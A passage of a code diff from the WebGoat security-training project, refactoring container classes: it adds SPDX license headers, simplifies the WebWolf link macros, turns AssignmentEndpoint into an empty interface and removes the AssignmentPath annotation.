options.put("type", ":link");
options.put("target", href);
attributes.put("window", "_blank");
return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
return createPhraseNode(contentNode, "anchor", linkText, attributes, options);
}
private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
}
/**
* Determine the host from the hostname and ports that were used. The purpose is to make it
* possible to use the application behind a reverse proxy. For instance in the docker
* compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
* indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
* www.webgoat.local www.webwolf.local
*/
private String determineHost(String port) {
HttpServletRequest request =
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
String host = request.getHeader("Host");
int semicolonIndex = host.indexOf(":");
if (semicolonIndex == -1 || host.endsWith(":80")) {
host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
} else {
host = host.substring(0, semicolonIndex);
host = host.concat(":").concat(port);
}
return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
}
protected boolean includeWebWolfContext() {
return true;
}
}

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
@ -17,9 +21,4 @@ public class WebWolfRootMacro extends WebWolfMacro {
public WebWolfRootMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected boolean includeWebWolfContext() {
return false;
}
}

View File

@ -1,92 +1,7 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.assignments;
import lombok.Getter;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
public abstract class AssignmentEndpoint implements Initializeable {
@Autowired private WebSession webSession;
@Autowired private UserSessionData userSessionData;
@Getter @Autowired private PluginMessages messages;
protected WebSession getWebSession() {
return webSession;
}
protected UserSessionData getUserSessionData() {
return userSessionData;
}
/**
* Convenience method for create a successful result:
*
* <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
*
* <p>Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
* @param assignment
*/
protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
return AttackResult.builder(messages)
.lessonCompleted(true)
.attemptWasMade()
.feedback("assignment.solved")
.assignment(assignment);
}
/**
* Convenience method for create a failed result:
*
* <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
*
* <p>Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
* @param assignment
*/
protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
return AttackResult.builder(messages)
.lessonCompleted(false)
.attemptWasMade()
.feedback("assignment.not.solved")
.assignment(assignment);
}
protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
}
@Override
public void initialize(WebGoatUser user) {}
}
public interface AssignmentEndpoint {}

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.assignments;
import java.lang.annotation.ElementType;

View File

@ -1,19 +0,0 @@
package org.owasp.webgoat.container.assignments;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.web.bind.annotation.RequestMethod;
/** Created by nbaars on 1/14/17. */
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface AssignmentPath {
String[] path() default {};
RequestMethod[] method() default {};
String value() default "";
}

Some files were not shown because too many files have changed in this diff Show More